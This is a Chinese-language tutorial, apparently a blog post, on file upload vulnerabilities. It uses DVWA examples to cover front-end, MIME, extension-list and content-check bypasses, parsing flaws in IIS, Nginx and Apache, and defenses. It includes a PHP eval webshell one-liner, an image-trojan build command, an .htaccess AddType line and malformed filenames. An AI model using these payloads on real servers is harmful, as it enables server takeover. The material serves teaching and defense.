文件上传漏洞

文件上传是Web 应用的必备功能之一,比如上传头像显示个性化、上传附件共享文件、上传脚本更新网站。如果服务器配置不当或者没有进行足够的过滤,Web 用户就可以上传任意文件,包括恶意脚本文件、exe 程序等,这就造成了文件上传漏洞。

正常文件上传抓包分析:

基本原理

文件上传漏洞的成因,一方面服务器配置不当会导致任意文件上传;

另一方面,Web 应用开放了文件上传功能,并且对上传的文件没有进行足够的限制;

再者就是程序开发部署时候,没有考虑到系统特性和验证过滤不严格而导致限制被绕过,上传任意文件。

文件上传条件

1、Web 服务器要开启文件上传功能,并且上传api(接口)对外开放

2、Web 用户对目标目录具有可写权限,甚至具有执行权限,一般情况下,Web 目录都有执行权限

3、要想完美利用文件上传漏洞,就是上传的文件可以执行,也就是Web 容器可以解析我们上传的脚本,无论脚本以什么样的形式存在

4、无视以上条件的情况就是服务器配置不当,开启了PUT 方法。

5、要知道文件保存在了哪里,即上传路径

危害

当系统存在文件上传漏洞时,攻击者可以将病毒,木马,WebShell,其他恶意脚本或者是包含了脚本的图片上传到服务器,服务器如果对其解析执行则会造成很大的危害。

文件上传绕过方法

通常一个文件以HTTP协议进行上传时,将以POST请求发送至Web服务器,Web服务器收到请求并同意后,用户与Web服务器将建立连接,并传输数据。一般一个文件上传过程中的检测方式有∶

  1. 前端js检测
  2. 后端检测

而后端检测分为:

  • MIME类型检测
  • 文件后缀名检测(白名单和黑名单)
  • 文件内容检测

绕过前端js检测

例如如下前端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<script type="text/javascript">
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
</script>
<form enctype="multipart/form-data" method="post" οnsubmit="return checkFile()">
<p>请选择要上传的图片:<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>

当点击提交按钮时会执行js脚本检查文件后缀是否符合白名单

这种前端验证的措施是很容易就可以绕过的,介绍两种方式:

  • 因为JS脚本运行环境使浏览器,我们可以修改JS代码,或者删除表单事件中的οnsubmit=”return checkFile()”
  • 使恶意文件后缀名符合白名单策略,用Burp挂代理抓包,然后修改文件后缀名即可

绕过MIME类型检测

MIME 是描述消息内容类型的因特网标准。MIME 消息包含文本、图像、音频、视频以及其他应用程序的专用的数据。常见的MIME 类型如下

文件扩展名 Mime-Type
.js application/x-javascript
.html text/html
.jpg image/jpeg
.png image/png
.pdf application/pdf

例如如下后端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
print_r($_FILES);
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

?>

$_FILES是一个预定义的数组,用来获取通过 POST 方法上传文件的相关信息。

通过print_r进行打印可以看到$_FILES如下:

1
2
3
4
5
6
7
8
9
10
11
Array
(
[userfile] => Array
(
[name] => 1.png
[type] => image/png
[tmp_name] => /private/var/tmp/phplVHp3W
[error] => 0
[size] => 344925
)
)

通过后端代码可以看出来对文件的上传类型即content-type字段以及文件大小进行了限制

所以在上传的时候需要用bp抓包将shell.php的content-type改为改为image/png即可

发现上传成功

绕过黑白名单检测

  1. 对于白名单常用的绕过方法有:

    • 上传图片木马+文件包含
    • 上传图片木马+.htaccess攻击
    • 上传图片木马+IIS,Nginx解析漏洞(Apache解析漏洞不行)

    后端代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    <?php

    if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
    ( $uploaded_size < 100000 ) &&
    getimagesize( $uploaded_tmp ) ) {

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
    // No
    $html .= '<pre>Your image was not uploaded.</pre>';
    }
    else {
    // Yes!
    $html .= "<pre>{$target_path} succesfully uploaded!</pre>";
    }
    }
    else {
    // Invalid file
    $html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
    }

    ?>

    $uploaded_ext为文件名的后缀,然后判断其是否是jpg,jpeg,png。这里用strtolower()函数是为了防止黑名单中的大小写绕过

    绕过方法一:上传图片木马+文件包含

    • 图片木马的制作

      准备一个png图片,准备一个shell.php,其中shell.php内容如下

      1
      <?php fputs(fopen('shell.php','w'),"<?php @eval(\$_POST['shell']); ?>");?>

      cmd下键入命令

      1
      copy 1.png /b + shell.php /a shell.png

      这样制作出来的图片木马比单纯的只是给shell.php修改为shell.png来说不仅可以绕过文件名验证还可以绕过图片内容验证

    • 将制作好的shell.png利用上传漏洞上传到服务器

      上传成功后由../../hackable/uploads/shell.png succesfully uploaded!以及url

      可知shell.png被保存在了http://127.0.0.1/DVWA/hackable/uploads/下

    • 然后在网站中找到文件包含漏洞,执行该文件,就会在存在文件包含漏洞的那个脚本的当前目录下生成shell.php

      执行成功

      此时根据url可知在http://192.168.43.61/DVWA/vulnerabilities/fi/目录下生成了shell.php,其内容为

    • 然后通过蚁剑连接即可

    绕过方法二:上传图片木马+.htaccess攻击

    • 上传图片木马和上述一样,不再赘述

    • .htaccess 是Apache 服务器的分布式配置文件,该配置文件会覆盖Apache 服务器的全局配置,作用域是当前目录及其子目录。如果一个Web 应用允许上传的.htaccess 文件,那就意味着攻击者可以更改Apache 的配置,这是十分危险的。

      因为设置了白名单所以上传.htaccess是不现实的,所以如果我们能修改全局的.htaccess文件

      在.htaccess文件中添加AddType application/x-httpd-php .png

      则我们就可以将图片木马当php解析

    绕过方法三:上传图片木马+IIS,Nginx解析漏洞(Apache解析漏洞不行)

    • 上传图片木马和上述一样,不再赘述
    • 利用web容器的解析漏洞可以使图片木马当作特定脚本来执行

    IIS 5.x/6.0解析漏洞
    在IIS5.X和IIS6.0版本中存在以下两个解析漏洞。

    (1)目录解析漏洞

    在网站中建立名字为*.asp、*.asa的文件夹,其目录内的任何扩展名文件都会被IIS当做ASP文件来解析并执行。

    例如:创建一个目录test.asp,那么/test.asp/1.jpg将被当做ASP文件来执行。

    /xx.asp/xx.jpg
    (2)文件解析漏洞

    网站上传图片的时候,如果将网页木马文件的名字改成”.asp;1.jpg”,分号后面的不被解析,也就是说,”.asp;1.jpg”会被服务器看成是*.asp,就可以绕过服务器禁止上传ASP文件的限制,这样的畸形文件也同样会被IIS当做ASP文件来解析并执行。

    例如:上传一个图片文件名为”test.asp;1.jpg”的木马文件,该文件可以被当做ASP文件解析并执行。

    在IIS6.0版本中,默认可执行文件除了test.asp以外,还包括test.asa、test.cer、test.cdx这三种,同样也存在解析漏洞。

    1
    2
    3
    4
    test.asp;1.jpg
    test.asa;1.jpg
    test.cer;1.jpg
    test.cdx;1.jpg

    IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞
    IIS 7.0/IIS 7.5/ Nginx <8.03在Fast-CGI运行模式下,在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为 php 文件。

    在某些使用有漏洞的网站中,访问http://127.0.0.1/1.jpg/1.php,此时的1.jpg会被当作PHP脚本来解析,此时1.php是不存在的。

    这就意味着攻击者可以上传合法的“图片”(图片木马)然后在URL后面加上“/xxx.php”,就可以获得网站的WebShell,在使用菜刀链接即可。

    1.jpg/1.php

    Nginx <8.03 空字节代码执行漏洞
    影响版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37

    当使用PHP-FastCGI执行PHP时,遇到url里面存在%00空字节时与FastCGI的处理不一致,导致可在非PHP文件中嵌入PHP代码,通过访问url+%00.PHP来执行其中的PHP代码。

    例如:”http://127.0.0.1/1.jpg%00.php"会把1.jpg文件(木马文件)当做PHP文件来执行。

    xxx.jpg%00.php

  2. 对于黑名单常用的绕过方法有:

    • 大小写绕过
    • 双写绕过
    • 空格绕过
    • 上传图片木马+IIS,Nginx,Apache解析漏洞
    • 上传图片木马+文件包含
    • 上传图片木马+.htaccess攻击

    绕过方法一:大小写绕过

    在对后缀的判断中,没有用到strtolower($file_ext)函数而只是对字符串进行单独的比对来判断是不是限制文件,可以采用后缀名大小写绕过形式。

    shell.Php

    绕过方法二:大小写绕过

    如果后端只是对违规后缀名替换为空的话

    1
    str_replace( array( "php","asp" ), "", $uploaded_ext )

    也可以用双写绕过,比如shell.phphpp

    绕过方法二:空格绕过

    如果黑名单没有对后缀名进行去空处理,可以通过在后缀名后加空进行绕过。

    1
    $file_ext = trim($file_ext); //首尾去空

    绕过方法三:上传图片木马+IIS,Nginx,Apache解析漏洞

    IIS和Nginx解析漏洞已经说过了,这里主要说一下Apache解析漏洞

    Apache解析漏洞

    在Apache 1.x和Apache 2.x中也存在解析漏洞。

    例如:1.php.rar会被当作php文件执行。

    Apache在解析文件时有一个原则:按照识别“.”后的扩展名来解析,当碰到不认识的扩展名时,将会从后面向前解析,直到碰到认识的扩展名为止。

    例如:1.php.aa.bb.cc

    1.php.aa.bb.cc
    会先解析cc,若cc不存在则解析bb,bb不存在则解析aa,aa不存在则只能解析PHP了。如果解析完还没有碰到可以解析的扩展名,就会暴露源文件。

    这种方法可以绕过基于黑名单的检查。(如网站限制,不允许上传后缀名为PHP、ASP、ASA等的文件)

绕过文件内容检测

getimagesize()函数会对文件的头部内容进行检测,可以通过添加文件幻术的方法或者制作图片木马的方法来进行绕过,上传成功后结合解析漏洞或者.htaccess或者文件包含漏洞来等getshell

DVWA

在DVWA中的文件上传板块来看,low级别没有对上传文件做任何限制随意上传webshell,medium级别对上传的文件MIME类型以及文件长度进行了限制,high级别启用了白名单策略并利用getimagesize()检查文件内容看是否是图片来进行验证,总的来说都是可以绕过的。而对于impossible级别来说,先看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {

// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );

// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
$html .= "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}

// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

其中

1
$target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

将文件名添加了一串id并进行了md5处理,然后连接上文件后缀

比如shell.php在服务器里就可能是21989392183.php

这样做就让攻击者无法知道自己所保存在服务器的文件的文件名是什么,从而无法找到上传的文件

剩下也进行了一些常规的文件名,文件后缀以及内容检测。最重要的还是服务器将上传的文件的文件名进行了重命名

防御方法

  • 文件上传的目录设置为不可执行。只要web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,因此这一点至关重要。(有用)
  • 判断文件类型。在判断文件类型时,可以结合使用MIME Type、后缀检查等方式。在文件类型检查中,强烈推荐白名单方式,黑名单的方式已经无数次被证明是不可靠的。此外,对于图片的处理,可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能包含的HTML代码。
  • 判断文件内容。图片文件的头部内容格式都是一样的,可以检查文件头部内容是否满足文件幻术
  • 使用随机数改写文件名和文件路径。文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访问。如果应用了随机数改写了文件名和路径,将极大地增加攻击的成本。再来就是像shell.php.rar.rar和crossdomain.xml这种文件,都将因为重命名而无法攻击。(有用)
  • 单独设置文件服务器的域名。由于浏览器同源策略的关系,一系列客户端攻击将失效,比如上传crossdomain.xml、上传包含Javascript的XSS利用等问题将得到解决。
  • 使用安全设备防御。文件上传攻击的本质就是将恶意文件或者脚本上传到服务器,专业的安全设备防御此类漏洞主要是通过对漏洞的上传利用行为和恶意文件的上传过程进行检测。恶意文件千变万化,隐藏手法也不断推陈出新,对普通的系统管理员来说可以通过部署安全设备来帮助防御。

总结

本文首先对于文件上传漏洞的基本原理,上传条件及危害进行了阐述,并详细介绍了各种绕过方法,然后介绍了DVWA的文件上传板块,最后阐述了文件上传漏洞的防御方法。总的来说文件上传绕过可利用制作图片木马的方式,然后通过文件包含,解析漏洞,.hetaccess来执行图片木马从而来getshell。

https://gcdcx.blog.csdn.net/article/details/105962968

https://blog.csdn.net/qq_38684504/article/details/91351851

https://blog.csdn.net/m0_38103658/article/details/100162185